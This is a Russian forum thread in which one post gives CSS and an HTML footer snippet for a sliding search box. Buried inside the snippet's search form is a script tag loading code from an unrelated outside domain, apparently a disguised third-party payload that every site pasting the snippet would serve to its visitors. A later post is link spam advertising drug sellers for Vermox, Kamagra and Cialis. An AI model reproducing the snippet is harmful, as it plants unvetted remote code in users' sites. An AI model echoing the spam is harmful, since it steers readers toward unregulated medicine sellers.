Среда, 27.08.2025, 04:58

  • Страница 1 из 1
  • 1
Выдыижной, Красивый поиск
Rakurs
 Дата: Воскресенье, 15.07.2012, 19:27 | Сообщение # 1

Группа: Пользователи
Сообщений: 71
Награды: 0
Уважение: 0
Оффлайн
Смотрим скрин скрипта: http://i075.radikal.ru/1207/67/0c366b24f772.png

Установка:
1)Вставляем в CSS в самый низ:

Code
.poisk{   
   position:fixed;   
   background-image:-webkit-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:-moz-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:-o-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:linear-gradient(bottom,#426BFF,#60A5FF);   
   -webkit-box-shadow:0 0 3px black;   
   -moz-box-shadow:0 0 3px black;   
   -o-box-shadow:0 0 3px black;   
   box-shadow:0 0 3px black;   
   border:1px solid #404040;   
   left:-200px;   
   width:240px;   
   height:30px;   
   border-radius:3px;   
   top:100px;   
   color:white;   
   text-shadow:0 0 3px black;   
   -webkit-transition:all 0.4s ease;   
   -moz-transition:all 0.4s ease;   
   -o-transition:all 0.4s ease;   
   transition:all 0.4s ease;   
   padding:3px;   
   }   
   .poisk:hover{   
   left:-3px;   
   }   
   .poisk #search{   
   width:175px;   
   position:relative;   
   top:3px;   
   left:5px;   
   -webkit-transition: all 0.4s ease;   
   -moz-transition: all 0.4s ease;   
   -o-transition: all 0.4s ease;   
   transition: all 0.4s ease;   
   border-radius:3px;   
   border:1px solid #606060;   
   height:26px;   
   }   
   .poisk:hover #search{   
   width:230px;   
   }   
   #search{   
   -webkit-transition:all 0.2s ease;   
   -moz-transition:all 0.2s ease;   
   -o-transition:all 0.2s ease;   
   transition:all 0.2s ease;   
   }   
   #search:focus{   
   border:1px solid #404040;   
   -webkit-box-shadow:inset 1px 1px 3px #ccc;   
   -moz-box-shadow:inset 1px 1px 3px #ccc;   
   box-shadow:inset 1px 1px 3px #ccc;   
   }   
   .poisk:hover #poiskknopka{   
   display:none;   
   }


2)Вставляем в Нижнюю часть сайта:

Code
<div class="poisk"><form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/"><input id="search" class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}" id="acpro_inp11" autocomplete="off"><script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script><span style="position:absolute;right: 10px;top: 6px;font-family: tahoma, sans-serif;font-size: 14px;font-style: normal;font-variant: normal;font-weight: normal;" id="poiskknopka"><img src="http://s017.radikal.ru/i427/1207/d2/fe6772a47ea5.png"></span></form></div>
 
Kennethnids
 Дата: Среда, 18.01.2017, 05:42 | Сообщение # 2

Группа: Пользователи
Сообщений: 12
Награды: 0
Уважение: 0
Оффлайн
<a href=http://vermoxbezreceptu.etowns.net><img>http://vermoxbezreceptu.etowns.net/vyprodej700.jpg</img></a>
http://vermoxbezreceptu.etowns.net ... je : www.generikum.sk, ked ich kontaktujete mozno aj lepsie cenu vam daju smile . ... Ja jsem si objednal pred tydnem kamagra oral jelly a cialis. ... Uz jsem si 10 x objednal na www.kamagra-prodej.cz, po kazdem nakupu dostanu 5-10% slevu.Stimul8 - tablety pro muze na zlepseni sexualni kondice, 32 ks. Tyhle cervene tablety (doplnek stravy) pomahaji vyrovnat prirozenou hladinu vitaminu B a C ... Vase cena: ... Slozeni (v 1 tablete): plnici latka: E460; protispekave latky: E570, E470, E551; vitamin C (kyselina L-askorbova), ... Podpora erekce Venicon (4 tablety) ... <a href=http://vermoxbezreceptu.etowns.net>vermox</a>


http://vermoxbezreceptu.etowns.net http://vermoxbezreceptu.etowns.net
 
  • Страница 1 из 1
  • 1
Поиск:

Статистика Форума
Последние обновленные темы
Самые популярные темы
Активные пользователи
Новые пользователи ()
Реклама
Что можно посмотреть
Реклама
Место свободное Место свободное Место свободное
Место свободное Место свободное Место свободное
Сделать бесплатный сайт с uCoz